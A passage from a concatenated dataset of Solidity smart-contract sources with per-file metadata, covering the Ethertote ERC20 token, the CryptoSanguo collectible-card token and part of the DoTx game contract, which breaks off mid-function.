>= Payment) { allowed[To][msg.sender] = allowed[To][msg.sender].sub(Payment); } else { balances[msg.sender] = balances[msg.sender].sub(Payment); balances[To] = balances[To].add(Payment); } emit Transfer(msg.sender, To, Payment); if (eLog) { emit ValidateFile(index,fileHash); } return true; } function verifyFile(string fileHash) public view returns (bool) { if (fileIndex.length == 0) { return false; } bytes memory a = bytes(fileIndex[fileHashes[fileHash].index]); bytes memory b = bytes(fileHash); if (a.length != b.length) { return false; } for (uint256 i = 0; i < a.length; i ++) { if (a[i] != b[i]) { return false; } } return true; } function setPrice(uint256 newPrice) public onlyOwner { validationPrice = newPrice; } function setWallet(address newWallet) public onlyOwner { validationWallet = newWallet; } function listFiles(uint256 startAt, uint256 stopAt) onlyOwner public returns (bool) { if (fileIndex.length == 0) { return false; } require(startAt <= fileIndex.length-1,"L1- Please select a valid start"); if (stopAt > 0) { require(stopAt > startAt && stopAt <= fileIndex.length-1,"L2- Please select a valid stop"); } else { stopAt = fileIndex.length-1; } for (uint256 i = startAt; i <= stopAt; i++) { emit LogEvent(i,fileIndex[i]); } return true; } event Burn(address indexed burner, uint256 value); event Freeze(address target, bool frozen); event ValidateFile(uint256 index, string data); event ValidatePublisher(address indexed publisherAddress, bool state, string indexed publisherName); event ValidateWallet(address indexed walletAddress, bool state, string indexed walletName); event LogEvent(uint256 index, string data) anonymous; }
19,972
12,038
96597abc8413e59ee759b0d90a4c8ce591b8d8ee2c920b1af2dcaf71321d0130
18,437
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
evaluation-dataset/0x42be9831fff77972c1d0e1ec0aa9bdb3caa04d47.sol
3,534
17,751
pragma solidity ^0.4.24; // 22.07.18 /*************/ // // Ethertote token contract // // (parts of the token contract // are based on the 'MiniMeToken' - Jordi Baylina) // // Fully ERC20 Compliant token // // Name: Ethertote // Symbol: TOTE // Decimals: 0 // Total supply: 10000000 (10 million tokens) // /*************/ // ---------------------------------------------------------------------------- // TokenController contract is called when `_owner` sends ether to the // Ethertote Token contract // ---------------------------------------------------------------------------- contract TokenController { function proxyPayments(address _owner) public payable returns(bool); function onTransfer(address _from, address _to, uint _amount) public returns(bool); function onApprove(address _owner, address _spender, uint _amount) public returns(bool); } // ---------------------------------------------------------------------------- // ApproveAndCallFallBack // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 _amount, address _token, bytes _data) public; } // ---------------------------------------------------------------------------- // The main EthertoteToken contract, the default controller is the msg.sender // that deploys the contract // ---------------------------------------------------------------------------- contract EthertoteToken { // Variables to ensure contract is conforming to ERC220 string public name; uint8 public decimals; string public symbol; uint public _totalSupply; // Addtional variables string public version; address public contractOwner; address public thisContractAddress; address public EthertoteAdminAddress; bool public tokenGenerationLock; // ensure tokens can only be minted once // the controller takes full control of the contract address public controller; // null address which will be assigned as controller for security purposes address public relinquishOwnershipAddress = 0x0000000000000000000000000000000000000000; // Modifier to ensure generateTokens() is only ran once by the constructor modifier onlyController { require(msg.sender == controller); _; } modifier onlyContract { require(address(this) == thisContractAddress); _; } modifier EthertoteAdmin { require(msg.sender == EthertoteAdminAddress); _; } // Checkpoint is the struct that attaches a block number to a // given value, and the block number attached is the one that last changed the // value struct Checkpoint { uint128 fromBlock; uint128 value; } // parentToken will be 0x0 for the token unless cloned EthertoteToken private parentToken; // parentSnapShotBlock is the block number from the Parent Token which will // be 0x0 unless cloned uint private parentSnapShotBlock; // creationBlock is the 'genesis' block number when contract is deployed uint public creationBlock; // balances is the mapping which tracks the balance of each address mapping (address => Checkpoint[]) balances; // allowed is the mapping which tracks any extra transfer rights // as per ERC20 token standards mapping (address => mapping (address => uint256)) allowed; // Checkpoint array tracks the history of the totalSupply of the token Checkpoint[] totalSupplyHistory; // needs to be set to 'true' to allow tokens to be transferred bool public transfersEnabled; // ---------------------------------------------------------------------------- // Constructor function initiated automatically when contract is deployed // ---------------------------------------------------------------------------- constructor() public { controller = msg.sender; EthertoteAdminAddress = msg.sender; tokenGenerationLock = false; // -------------------------------------------------------------------- // set the following values prior to deployment // -------------------------------------------------------------------- name = "Ethertote"; // Set the name symbol = "TOTE"; // Set the symbol decimals = 0; // Set the decimals _totalSupply = 10000000 * 10**uint(decimals); // 10,000,000 tokens version = "Ethertote Token contract - version 1.0"; //--------------------------------------------------------------------- // Additional variables set by the constructor contractOwner = msg.sender; thisContractAddress = address(this); transfersEnabled = true; // allows tokens to be traded creationBlock = block.number; // sets the genesis block // Now call the internal generateTokens function to create the tokens // and send them to owner generateTokens(contractOwner, _totalSupply); // Now that the tokens have been generated, finally reliquish // ownership of the token contract for security purposes controller = relinquishOwnershipAddress; } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface Methods for full compliance // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- // totalSupply // function totalSupply() public constant returns (uint) { return totalSupplyAt(block.number); } // balanceOf // function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOfAt(_owner, block.number); } // allowance // function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } // transfer // function transfer(address _to, uint256 _amount) public returns (bool success) { require(transfersEnabled); // prevent tokens from ever being sent back to the contract address require(_to != address(this)); // prevent tokens from ever accidentally being sent to the nul (0x0) address require(_to != 0x0); doTransfer(msg.sender, _to, _amount); return true; } // approve // function approve(address _spender, uint256 _amount) public returns (bool success) { require(transfersEnabled); require((_amount == 0) || (allowed[msg.sender][_spender] == 0)); if (isContract(controller)) { require(TokenController(controller).onApprove(msg.sender, _spender, _amount)); } allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } // transferFrom function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { // prevent tokens from ever being sent back to the contract address require(_to != address(this)); // prevent tokens from ever accidentally being sent to the nul (0x0) address require(_to != 0x0); if (msg.sender != controller) { require(transfersEnabled); require(allowed[_from][msg.sender] >= _amount); allowed[_from][msg.sender] -= _amount; } doTransfer(_from, _to, _amount); return true; } // ---------------------------------------------------------------------------- // ERC20 compliant events // ---------------------------------------------------------------------------- event Transfer(address indexed _from, address indexed _to, uint256 _amount); event Approval(address indexed _owner, address indexed _spender, uint256 _amount); // ---------------------------------------------------------------------------- // once constructor assigns control to 0x0 the contract cannot be changed function changeController(address _newController) onlyController private { controller = _newController; } function doTransfer(address _from, address _to, uint _amount) internal { if (_amount == 0) { emit Transfer(_from, _to, _amount); return; } require(parentSnapShotBlock < block.number); // Do not allow transfer to 0x0 or the token contract itself // require((_to != 0) && (_to != address(this))); require(_to != address(this)); // If the amount being transfered is more than the balance of the // account, the transfer throws uint previousBalanceFrom = balanceOfAt(_from, block.number); require(previousBalanceFrom >= _amount); // Alerts the token controller of the transfer if (isContract(controller)) { require(TokenController(controller).onTransfer(_from, _to, _amount)); } // First update the balance array with the new value for the address // sending the tokens updateValueAtNow(balances[_from], previousBalanceFrom - _amount); // Then update the balance array with the new value for the address // receiving the tokens uint previousBalanceTo = balanceOfAt(_to, block.number); // Check for overflow require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(balances[_to], previousBalanceTo + _amount); // An event to make the transfer easy to find on the blockchain emit Transfer(_from, _to, _amount); } // ---------------------------------------------------------------------------- // approveAndCall allows users to use their tokens to interact with contracts // in a single function call // msg.sender approves `_spender` to send an `_amount` of tokens on // its behalf, and then a function is triggered in the contract that is // being approved, `_spender`. This allows users to use their tokens to // interact with contracts in one function call instead of two // _spender is the address of the contract able to transfer the tokens // _amount is the amount of tokens to be approved for transfer // return 'true' if the function call was successful // ---------------------------------------------------------------------------- function approveAndCall(address _spender, uint256 _amount, bytes _extraData) public returns (bool success) { require(approve(_spender, _amount)); ApproveAndCallFallBack(_spender).receiveApproval(msg.sender, _amount, this, _extraData); return true; } // ---------------------------------------------------------------------------- // Query the balance of an address at a specific block number // ---------------------------------------------------------------------------- function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.balanceOfAt(_owner, min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(balances[_owner], _blockNumber); } } // ---------------------------------------------------------------------------- // Queries the total supply of tokens at a specific block number // will return 0 if called before the creationBlock value // ---------------------------------------------------------------------------- function totalSupplyAt(uint _blockNumber) public constant returns(uint) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { if (address(parentToken) != 0) { return parentToken.totalSupplyAt(min(_blockNumber, parentSnapShotBlock)); } else { return 0; } } else { return getValueAt(totalSupplyHistory, _blockNumber); } } // ---------------------------------------------------------------------------- // The generateTokens function will generate the initial supply of tokens // Can only be called once during the constructor as it has the onlyContract // modifier attached to the function // ---------------------------------------------------------------------------- function generateTokens(address _owner, uint _theTotalSupply) private onlyContract returns (bool) { require(tokenGenerationLock == false); uint curTotalSupply = totalSupply(); require(curTotalSupply + _theTotalSupply >= curTotalSupply); // Check for overflow uint previousBalanceTo = balanceOf(_owner); require(previousBalanceTo + _totalSupply >= previousBalanceTo); // Check for overflow updateValueAtNow(totalSupplyHistory, curTotalSupply + _totalSupply); updateValueAtNow(balances[_owner], previousBalanceTo + _totalSupply); emit Transfer(0, _owner, _totalSupply); tokenGenerationLock = true; return true; } // ---------------------------------------------------------------------------- // Enable tokens transfers to allow tokens to be traded // ---------------------------------------------------------------------------- function enableTransfers(bool _transfersEnabled) private onlyController { transfersEnabled = _transfersEnabled; } // ---------------------------------------------------------------------------- // Internal helper functions // ---------------------------------------------------------------------------- function getValueAt(Checkpoint[] storage checkpoints, uint _block) constant internal returns (uint) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length-1].fromBlock) return checkpoints[checkpoints.length-1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint min = 0; uint max = checkpoints.length-1; while (max > min) { uint mid = (max + min + 1)/ 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } // ---------------------------------------------------------------------------- // function used to update the `balances` map and the `totalSupplyHistory` // ---------------------------------------------------------------------------- function updateValueAtNow(Checkpoint[] storage checkpoints, uint _value) internal { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length -1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[ checkpoints.length++ ]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } // ---------------------------------------------------------------------------- // function to check if address is a contract // ---------------------------------------------------------------------------- function isContract(address _addr) constant internal returns(bool) { uint size; if (_addr == 0) return false; assembly { size := extcodesize(_addr) } return size>0; } // ---------------------------------------------------------------------------- // Helper function to return a min betwen the two uints // ---------------------------------------------------------------------------- function min(uint a, uint b) pure internal returns (uint) { return a < b ? a : b; } // ---------------------------------------------------------------------------- // fallback function: If the contract's controller has not been set to 0, // then the `proxyPayment` method is called which relays the eth and creates // tokens as described in the token controller contract // ---------------------------------------------------------------------------- function () public payable { require(isContract(controller)); require(TokenController(controller).proxyPayments.value(msg.value)(msg.sender)); } event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); // ---------------------------------------------------------------------------- // This method can be used by the controller to extract other tokens accidentally // sent to this contract. // _token is the address of the token contract to recover // can be set to 0 to extract eth // ---------------------------------------------------------------------------- function withdrawOtherTokens(address _token) EthertoteAdmin public { if (_token == 0x0) { controller.transfer(address(this).balance); return; } EthertoteToken token = EthertoteToken(_token); uint balance = token.balanceOf(this); token.transfer(controller, balance); emit ClaimedTokens(_token, controller, balance); } }
177,311
12,039
d4efa5101444e3b5cf1a05d91672b132de249fd87f24b1309e213a9150ff966e
11,801
.sol
Solidity
false
360539372
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
1d65472e1c546af6781cb17991843befc635a28e
dataset/dapp_contracts/Game/0x32fcDEFa047D8Edeea0c21a50179b18181074c60.sol
3,173
10,305
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract CryptoSanguoToken { using SafeMath for uint256; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; IItemRegistry private itemRegistry; bool private erc721Enabled = false; uint256 private increaseLimit1 = 0.02 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; uint256 private min_value = 0.01 ether; uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private startingPriceOfItem; mapping (uint256 => uint256) private priceOfItem; mapping (uint256 => address) private approvedOfItem; function CryptoSanguoToken () public { owner = msg.sender; admins[owner] = true; issueCard(1, 7, 5); } modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } modifier onlyERC721() { require(erc721Enabled); _; } function setOwner (address _owner) onlyOwner() public { owner = _owner; } function setItemRegistry (address _itemRegistry) onlyOwner() public { itemRegistry = IItemRegistry(_itemRegistry); } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } function withdrawAll () onlyOwner() public { owner.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner.transfer(_amount); } function populateFromItemRegistry (uint256[] _itemIds) onlyOwner() public { for (uint256 i = 0; i < _itemIds.length; i++) { if (priceOfItem[_itemIds[i]] > 0 || itemRegistry.priceOf(_itemIds[i]) == 0) { continue; } listItemFromRegistry(_itemIds[i]); } } function listItemFromRegistry (uint256 _itemId) onlyOwner() public { require(itemRegistry != address(0)); require(itemRegistry.ownerOf(_itemId) != address(0)); require(itemRegistry.priceOf(_itemId) > 0); uint256 price = itemRegistry.priceOf(_itemId); address itemOwner = itemRegistry.ownerOf(_itemId); listItem(_itemId, price, itemOwner); } function listMultipleItems (uint256[] _itemIds, uint256 _price, address _owner) onlyAdmins() external { for (uint256 i = 0; i < _itemIds.length; i++) { listItem(_itemIds[i], _price, _owner); } } function listItem (uint256 _itemId, uint256 _price, address _owner) onlyAdmins() public { require(_price > 0); require(priceOfItem[_itemId] == 0); require(ownerOfItem[_itemId] == address(0)); ownerOfItem[_itemId] = _owner; priceOfItem[_itemId] = _price * min_value; startingPriceOfItem[_itemId] = _price * min_value; listedItems.push(_itemId); } function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return _price.mul(200).div(92); } else if (_price < increaseLimit2) { return _price.mul(135).div(93); } else if (_price < increaseLimit3) { return _price.mul(125).div(94); } else if (_price < increaseLimit4) { return _price.mul(117).div(94); } else { return _price.mul(115).div(95); } } function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) { if (_price < increaseLimit1) { return _price.mul(8).div(100); // 8% } else if (_price < increaseLimit2) { return _price.mul(7).div(100); // 7% } else if (_price < increaseLimit3) { return _price.mul(6).div(100); // 6% } else if (_price < increaseLimit4) { return _price.mul(6).div(100); // 6% } else { return _price.mul(5).div(100); // 5% } } function buy (uint256 _itemId) payable public { require(priceOf(_itemId) > 0); require(ownerOf(_itemId) != address(0)); require(msg.value >= priceOf(_itemId)); require(ownerOf(_itemId) != msg.sender); require(!isContract(msg.sender)); require(msg.sender != address(0)); address oldOwner = ownerOf(_itemId); address newOwner = msg.sender; uint256 price = priceOf(_itemId); uint256 excess = msg.value.sub(price); _transfer(oldOwner, newOwner, _itemId); priceOfItem[_itemId] = nextPriceOf(_itemId); Bought(_itemId, newOwner, price); Sold(_itemId, oldOwner, price); // Devevloper's cut which is left in contract and accesed by // `withdrawAll` and `withdrawAmountTo` methods. uint256 devCut = calculateDevCut(price); // Transfer payment to old owner minus the developer's cut. oldOwner.transfer(price.sub(devCut)); if (excess > 0) { newOwner.transfer(excess); } } function implementsERC721() public view returns (bool _implements) { return erc721Enabled; } function name() public pure returns (string _name) { return "CryptoSanguo.io"; } function symbol() public pure returns (string _symbol) { return "CSG"; } function totalSupply() public view returns (uint256 _totalSupply) { return listedItems.length; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint256 counter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return ownerOfItem[_itemId]; } function tokensOf (address _owner) public view returns (uint256[] _tokenIds) { uint256[] memory items = new uint256[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedItems.length; i++) { if (ownerOf(listedItems[i]) == _owner) { items[itemCounter] = listedItems[i]; itemCounter += 1; } } return items; } function tokenExists (uint256 _itemId) public view returns (bool _exists) { return priceOf(_itemId) > 0; } function approvedFor(uint256 _itemId) public view returns (address _approved) { return approvedOfItem[_itemId]; } function approve(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; Approval(msg.sender, _to, _itemId); } } function transfer(address _to, uint256 _itemId) onlyERC721() public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) onlyERC721() public { require(approvedFor(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); ownerOfItem[_itemId] = _to; approvedOfItem[_itemId] = 0; Transfer(_from, _to, _itemId); } function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } function startingPriceOf (uint256 _itemId) public view returns (uint256 _startingPrice) { return startingPriceOfItem[_itemId]; } function priceOf (uint256 _itemId) public view returns (uint256 _price) { return priceOfItem[_itemId]; } function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) { return calculateNextPrice(priceOf(_itemId)); } function allOf (uint256 _itemId) external view returns (address _owner, uint256 _startingPrice, uint256 _price, uint256 _nextPrice) { return (ownerOf(_itemId), startingPriceOf(_itemId), priceOf(_itemId), nextPriceOf(_itemId)); } function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items) { uint256[] memory items = new uint256[](_take); for (uint256 i = 0; i < _take; i++) { items[i] = listedItems[_from + i]; } return items; } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } function changePrice(uint256 _itemId, uint256 _price) public onlyAdmins() { require(_price > 0); require(admins[ownerOfItem[_itemId]]); priceOfItem[_itemId] = _price * min_value; } function issueCard(uint256 l, uint256 r, uint256 price) onlyAdmins() public { for (uint256 i = l; i <= r; i++) { ownerOfItem[i] = msg.sender; priceOfItem[i] = price * min_value; listedItems.push(i); } } } interface IItemRegistry { function itemsForSaleLimit (uint256 _from, uint256 _take) public view returns (uint256[] _items); function ownerOf (uint256 _itemId) public view returns (address _owner); function priceOf (uint256 _itemId) public view returns (uint256 _price); }
335,243
12,040
a229c78a11e4cf7193588897f375b0e0c0a4c55c9ac9882c6fbddbc39eda1946
29,880
.sol
Solidity
false
287272122
DefiOfThrones/DOTTokenContract
c85de28de1a243b08daafd63cb21b5e79265c0b1
DoTxGameContract.sol
6,143
22,300
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IDotTokenContract{ function balanceOf(address account) external view returns (uint256); function totalSupply() external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IDoTxLib{ function queryChainLinkPrice(string calldata _fsym, string calldata _fsymId, int256 _multiplicator, bytes4 _selector) external; function fetchFirstDayPrices(string calldata firstHouseTicker, string calldata secondHouseTicker, string calldata firstHouseId, string calldata secondHouseId, int256 multiplicator, uint256 warIndex) external; function fetchLastDayPrices(string calldata firstHouseTicker, string calldata currentSecondHouseTicker, string calldata firstHouseId, string calldata secondHouseId, int256 multiplicator, uint256 warIndex) external; function setDoTxGame(address gameAddress) external; function calculateHousePerf(int256 open, int256 close, int256 precision) external pure returns(int256); function calculatePercentage(uint256 amount, uint256 percentage, uint256 selecteWinnerPrecision) external pure returns(uint256); function calculateReward(uint256 dotxUserBalance, uint256 totalDoTxWinningHouse, uint256 totalDoTxLosingHouse) external view returns(uint256); function getWarIndex() external view returns(uint256); } interface IEarlyPoolContract{ function setDoTxGame(address gameAddress) external; function addEarlyTickets(uint256 _dotx, uint256 _index, address _user, uint256 _warIndex, uint256 _endWarTime) external; function addDoTxToPool(uint256 _dotx, uint256 _index, uint256 _warIndex, uint256 _endWarTime) external; function getLongNightIndex() external view returns(uint256); } interface IManaPoolContract{ function setDoTxGame(address gameAddress) external; function addRewardFromTickets(uint256 _warIndex, uint256 _ticketsNumber, uint256 _dotxAmountInWei, address _userAddress, bool _isEarly) external; } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } contract Ownable is Context { address private _owner; address private _owner2; address public dotxLibAddress; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } function owner2() public view returns (address) { return _owner2; } function setOwner2(address ownerAddress) public onlyOwner { _owner2 = ownerAddress; } modifier onlyOwner() { require(_owner == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner"); _; } modifier onlyOwnerOrDoTxLib() { require(_owner == _msgSender() || dotxLibAddress == _msgSender() || _owner2 == _msgSender(), "Ownable: caller is not the owner or the lib"); _; } modifier onlyDoTxLib() { require(dotxLibAddress == _msgSender(), "Ownable: caller is not the owner or the lib"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract DoTxGameContract is Ownable { using SafeMath for uint256; //Burn x% of the losing house tickets to Burn wallet on Matic -> Burn on Ethereum Mainnet address constant public BURN_ADDRESS = 0xA0B3b84b6d66c0d7C4E87f40784b3b8328B5f33D; //War struct, for each war a War variable will be created struct War { uint256 startTime; uint256 duration; uint256 ticketPrice; uint256 purchasePeriod; bytes32 winningHouse; uint256 warFeesPercent; int256 multiplicator; uint256 burnPercentage; House firstHouse; House secondHouse; mapping(address => User) users; } //House struct, each war contains an map of 2 houses struct House { bytes32 houseTicker; bytes32 houseId; uint256 openPrice; uint256 closePrice; uint256 ticketsBought; } //User struct, each war contains a map of users struct User { bytes32 houseTicker; uint256 ticketsBought; bool rewardClaimed; } //BURN STAKING INFORMATION struct BurnStake { uint256 firstHouseBurnDoTx; uint256 secondHouseBurnDoTx; } struct WarHouses { uint256 index; bytes32 firstHouse; bytes32 secondHouse; uint256 startTime; uint256 duration; bool isClosed; } //DOTX Token Contract Address IDotTokenContract private dotxToken; //DOTX Game lib IDoTxLib private dotxLib; //ManaPool IManaPoolContract private manaPool; //Map of Wars mapping(uint256 => War) public wars; //GENERAL VARS //Total fees paid by users uint256 public totalFees; //Precision for the select winner calculation uint256 public selectWinnerPrecision = 100000; uint256 public burnPercentage = 5; uint256 public stakingPercentage = 10; int256 public multiplicator = 10000000; //EARLY POOL uint256 public maxPercentJoinEarly = 25;//25% //uint256 public minDoTxEarly = 500000000000000000000;// 500 DoTx uint256 public warIndex; //EVENTS event WarStarted(uint256 warIndex); event TicketBought(uint256 warIndex, string house, uint256 valueInDoTx, address sender, string txType); event ClaimReward(uint256 warIndex, uint256 reward, uint256 balance, address sender, string txType); event SwitchHouse(uint256 warIndex, string from, string to, address sender, uint256 valueInDoTx); event openPriceFetched(uint256 warIndex); event closePriceFetched(uint256 warIndex); event StakeBurn(uint256 warIndex, uint256 burnValue); //MODIFIERS modifier onlyIfCurrentWarFinished(uint256 _warIndex) { require(wars[_warIndex].startTime.add(wars[_warIndex].duration) <= now || _warIndex == 0, "Current war not finished"); _; } modifier onlyIfCurrentWarNotFinished(uint256 _warIndex) { require(wars[_warIndex].startTime.add(wars[_warIndex].duration) > now, "Current war finished"); _; } modifier onlyIfTicketsPurchasable(uint256 _warIndex) { require(now.sub(wars[_warIndex].startTime) < wars[_warIndex].purchasePeriod, "Purchase tickets period ended"); _; } modifier onlyIfPricesFetched(uint256 _warIndex){ require(wars[_warIndex].firstHouse.openPrice != 0 && wars[_warIndex].secondHouse.openPrice != 0, "Open prices not fetched"); require(wars[_warIndex].firstHouse.closePrice != 0 && wars[_warIndex].secondHouse.closePrice != 0, "Close prices not fetched"); _; } constructor(address dotxTokenAddress, address dotxLibAddr, address manaPoolAddr, bool setupAddressInLib, bool setupAddressInPool) public { //Implement DoTx contract interface by providing address dotxToken = IDotTokenContract(dotxTokenAddress); setDoTxLibs(dotxLibAddr, setupAddressInLib, manaPoolAddr, setupAddressInPool); } function startWar(string memory _firstHouseTicker, string memory _secondHouseTicker, string memory _firstHouseId, string memory _secondHouseId, uint256 _duration, uint256 _ticketPrice, uint256 _purchasePeriod, uint256 _warFeesPercent, uint256 _priceFstHouse, uint256 _priceSndHouse) public onlyOwner { //Create war wars[warIndex] = War(now, _duration, _ticketPrice, _purchasePeriod, 0, _warFeesPercent, multiplicator, burnPercentage, House(stringToBytes32(_firstHouseTicker), stringToBytes32(_firstHouseId), 0, 0, 0), House(stringToBytes32(_secondHouseTicker), stringToBytes32(_secondHouseId), 0, 0, 0)); emit WarStarted(warIndex); setHouseOpen(_priceFstHouse, _priceSndHouse, warIndex); warIndex = warIndex.add(1); } function buyTickets(string memory _houseTicker, uint _numberOfTicket, uint256 _warIndex) public onlyIfTicketsPurchasable(_warIndex) { bytes32 houseTicker = stringToBytes32(_houseTicker); //Get house storage House storage userHouse = getHouseStg(houseTicker, _warIndex); //Allow user to only buy tickets for one single House and the one passed in parameter require(userHouse.houseTicker == houseTicker && (wars[_warIndex].users[msg.sender].houseTicker == houseTicker || wars[_warIndex].users[msg.sender].houseTicker == 0), "You can not buy tickets for the other house"); wars[_warIndex].users[msg.sender].houseTicker = userHouse.houseTicker; //Update user tickets wars[_warIndex].users[msg.sender].ticketsBought = wars[_warIndex].users[msg.sender].ticketsBought.add(_numberOfTicket); //Increase tickets bought for the house userHouse.ticketsBought = userHouse.ticketsBought.add(_numberOfTicket); uint256 valueInDoTx = wars[_warIndex].ticketPrice.mul(_numberOfTicket); //Propagate TicketBought event emit TicketBought(_warIndex, _houseTicker, valueInDoTx, msg.sender, "BOUGHT"); //Transfer DoTx dotxToken.transferFrom(msg.sender, address(this), valueInDoTx); //Mana POOL manaPool.addRewardFromTickets(_warIndex, _numberOfTicket, valueInDoTx, msg.sender, false); } function switchHouse(string memory _fromHouseTicker, string memory _toHouseTicker, uint256 _warIndex) public onlyIfTicketsPurchasable(_warIndex) { bytes32 fromHouseTicker = stringToBytes32(_fromHouseTicker); bytes32 toHouseTicker = stringToBytes32(_toHouseTicker); //Check if toHouse is in competition && different of fromHouse require(checkIfHouseInCompetition(toHouseTicker, _warIndex) && fromHouseTicker != toHouseTicker, "House not in competition"); //Check if user belongs to _fromHouse require(wars[_warIndex].users[msg.sender].houseTicker == fromHouseTicker, "User doesn't belong to fromHouse"); House storage fromHouse = getHouseStg(fromHouseTicker, _warIndex); House storage toHouse = getHouseStg(toHouseTicker, _warIndex); 